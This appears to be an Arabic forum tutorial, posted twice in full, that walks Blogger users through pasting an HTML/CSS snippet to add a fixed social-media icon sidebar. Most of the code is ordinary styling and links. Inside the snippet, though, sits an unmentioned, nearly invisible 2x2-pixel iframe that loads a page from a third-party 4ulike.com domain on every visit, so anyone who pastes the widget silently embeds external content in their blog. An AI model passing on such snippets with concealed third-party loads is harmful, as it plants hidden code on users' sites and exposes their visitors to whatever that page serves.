salima
11-01-2013, بتوقيت غرينيتش 08:15 AM
إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر حصريا على منتديات ديزاد باتنة
http://1.bp.blogspot.com/-CaBQaAX_hIE/UdAjI85nsBI/AAAAAAAABeg/6jUuzFmD4zw/s550/social+sidebar+for+blogger.png
كثير من الناس يعتقدون أن المدون يفتقر في كل من الأشياء الجيدة الإضافية التي يمكن أن تضاف إلى منصات أخرى مثل ووردبرس، وإنما هو ببساطة ليس صحيحا. باستخدام الحاجيات يمكنك تخصيص بلوق الخاص بقدر ما تريد فقط عن طريق إضافة قصاصات صغيرة من التعليمات البرمجية إلى الأشرطة الجانبية.
اليوم نقدم لكم *الشريط الجانبي وهو قطعة فنية اجتماعية للمدون. انها جذابة للغاية . هذا الوضع الاجتماعي في الشريط الجانبي القطعة الاتصال وتشمل شريحة من الاتصال الاجتماعي.
مما تتير انتباه الزائر وبهدا تكون قد حصلت على متابعين جدد http://www.dzbatna.com/images/smilies/cupidarrow.gif
لإضافتها اتبع الخطوات التالية :
1- ادخل الى مدونتك عن طريق الرابط التالي:
http://blogger.com/
2- اذهب الى لوحة التحكم تم اضغط على تخطيط
3- تم اضغط على اضافة أداة*
http://i36.servimg.com/u/f36/18/35/38/49/add_wi11.png
ثم*، HTML/JavaScript
http://i36.servimg.com/u/f36/18/35/38/49/add_ht10.png
ثم الصق الكود code التالي:
رمز Code:
<style type="text/css"> /*<![CDATA[*/ @charset "utf-8"; /* CSS Document */ /* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://raay-arab.4ulike.com//---------- */ @import url(http://weloveiconfonts.com/api/?family=entypo); [class*="entypo-"]:before { font-family: 'entypo', sans-serif; } /* ---------- GENERAL ---------- */ #social-sidebar a { text-decoration: none; } #social-sidebar ul { list-style: none; margin: 0; padding: 0; } /* ---------- Social Sidebar ---------- */ #social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%; } #social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; } #social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; } #social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px; } #social-sidebar ul li a:hover span { left: 130%; opacity: 1; } #social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Op acity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1; } #social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2; } #social-sidebar ul li a[class*="twitter"]:hover, #social-sidebar ul li a[class*="twitter"] span, #social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; } #social-sidebar ul li a[class*="gplus"]:hover, #social-sidebar ul li a[class*="gplus"] span, #social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; } #social-sidebar ul li a[class*="tumblr"]:hover, #social-sidebar ul li a[class*="tumblr"] span, #social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; } #social-sidebar ul li a[class*="facebook"]:hover, #social-sidebar ul li a[class*="facebook"] span, #social-sidebar ul li a[class*="facebook"] span:before { background: #234999; } #social-sidebar ul li a[class*="rss"]:hover, #social-sidebar ul li a[class*="rss"] span, #social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; } /*]]>*/ </style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe> <div id="social-sidebar"> <ul> <li> <a class="entypo-twitter" href="https://twitter.com/" target="_blank"> <span>Twitter</span> </a> </li> <li> <a class="entypo-gplus" href="https://plus.google.com/" target="_blank"> <span>google+</span> </a> </li> <li> <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank"> <span>tumblr</span> </a> </li> <li> <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank"> <span>facebook</span> </a> </li> <li> <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank"> <span>feedburner</span> </a> </li> </ul> </div>
ابحث عن :
http://feeds.feedburner.com/
و
https://www.facebook.com/
و
http://www.tumblr.net/
و
https://plus.google.com/
و
https://twitter.com/
وبدلها بروابطك
وهكدا يكون قد تم بحمد الله انتظر ردودكم
الصور المصغرة المرفقة http://www.traidnt.net/vb/attachments/707684d1378055107t-add_ht10.png (http://www.traidnt.net/vb/attachments/707684d1378055107-add_ht10.png) http://www.traidnt.net/vb/attachments/707686d1378055107t-social-sidebar-blogger.png (http://www.traidnt.net/vb/attachments/707686d1378055107-social-sidebar-blogger.png)
https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash4/482113_236967293114455_1193518507_n.png (http://www.dzbatna.com)
©المشاركات المنشورة تعبر عن وجهة نظر صاحبها فقط، ولا تُعبّر بأي شكل من الأشكال عن وجهة نظر إدارة المنتدى (http://www.dzbatna.com)©
http://1.bp.blogspot.com/-CaBQaAX_hIE/UdAjI85nsBI/AAAAAAAABeg/6jUuzFmD4zw/s550/social+sidebar+for+blogger.png
كثير من الناس يعتقدون أن المدون يفتقر في كل من الأشياء الجيدة الإضافية التي يمكن أن تضاف إلى منصات أخرى مثل ووردبرس، وإنما هو ببساطة ليس صحيحا. باستخدام الحاجيات يمكنك تخصيص بلوق الخاص بقدر ما تريد فقط عن طريق إضافة قصاصات صغيرة من التعليمات البرمجية إلى الأشرطة الجانبية.
اليوم نقدم لكم *الشريط الجانبي وهو قطعة فنية اجتماعية للمدون. انها جذابة للغاية . هذا الوضع الاجتماعي في الشريط الجانبي القطعة الاتصال وتشمل شريحة من الاتصال الاجتماعي.
مما تتير انتباه الزائر وبهدا تكون قد حصلت على متابعين جدد http://www.dzbatna.com/images/smilies/cupidarrow.gif
لإضافتها اتبع الخطوات التالية :
1- ادخل الى مدونتك عن طريق الرابط التالي:
http://blogger.com/
2- اذهب الى لوحة التحكم تم اضغط على تخطيط
3- تم اضغط على اضافة أداة*
http://i36.servimg.com/u/f36/18/35/38/49/add_wi11.png
ثم*، HTML/JavaScript
http://i36.servimg.com/u/f36/18/35/38/49/add_ht10.png
ثم الصق الكود code التالي:
رمز Code:
<style type="text/css"> /*<![CDATA[*/ @charset "utf-8"; /* CSS Document */ /* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://raay-arab.4ulike.com//---------- */ @import url(http://weloveiconfonts.com/api/?family=entypo); [class*="entypo-"]:before { font-family: 'entypo', sans-serif; } /* ---------- GENERAL ---------- */ #social-sidebar a { text-decoration: none; } #social-sidebar ul { list-style: none; margin: 0; padding: 0; } /* ---------- Social Sidebar ---------- */ #social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%; } #social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; } #social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; } #social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px; } #social-sidebar ul li a:hover span { left: 130%; opacity: 1; } #social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Op acity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1; } #social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2; } #social-sidebar ul li a[class*="twitter"]:hover, #social-sidebar ul li a[class*="twitter"] span, #social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; } #social-sidebar ul li a[class*="gplus"]:hover, #social-sidebar ul li a[class*="gplus"] span, #social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; } #social-sidebar ul li a[class*="tumblr"]:hover, #social-sidebar ul li a[class*="tumblr"] span, #social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; } #social-sidebar ul li a[class*="facebook"]:hover, #social-sidebar ul li a[class*="facebook"] span, #social-sidebar ul li a[class*="facebook"] span:before { background: #234999; } #social-sidebar ul li a[class*="rss"]:hover, #social-sidebar ul li a[class*="rss"] span, #social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; } /*]]>*/ </style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe> <div id="social-sidebar"> <ul> <li> <a class="entypo-twitter" href="https://twitter.com/" target="_blank"> <span>Twitter</span> </a> </li> <li> <a class="entypo-gplus" href="https://plus.google.com/" target="_blank"> <span>google+</span> </a> </li> <li> <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank"> <span>tumblr</span> </a> </li> <li> <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank"> <span>facebook</span> </a> </li> <li> <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank"> <span>feedburner</span> </a> </li> </ul> </div>
ابحث عن :
http://feeds.feedburner.com/
و
https://www.facebook.com/
و
http://www.tumblr.net/
و
https://plus.google.com/
و
https://twitter.com/
وبدلها بروابطك
وهكدا يكون قد تم بحمد الله انتظر ردودكم
الصور المصغرة المرفقة http://www.traidnt.net/vb/attachments/707684d1378055107t-add_ht10.png (http://www.traidnt.net/vb/attachments/707684d1378055107-add_ht10.png) http://www.traidnt.net/vb/attachments/707686d1378055107t-social-sidebar-blogger.png (http://www.traidnt.net/vb/attachments/707686d1378055107-social-sidebar-blogger.png)
https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash4/482113_236967293114455_1193518507_n.png (http://www.dzbatna.com)
©المشاركات المنشورة تعبر عن وجهة نظر صاحبها فقط، ولا تُعبّر بأي شكل من الأشكال عن وجهة نظر إدارة المنتدى (http://www.dzbatna.com)©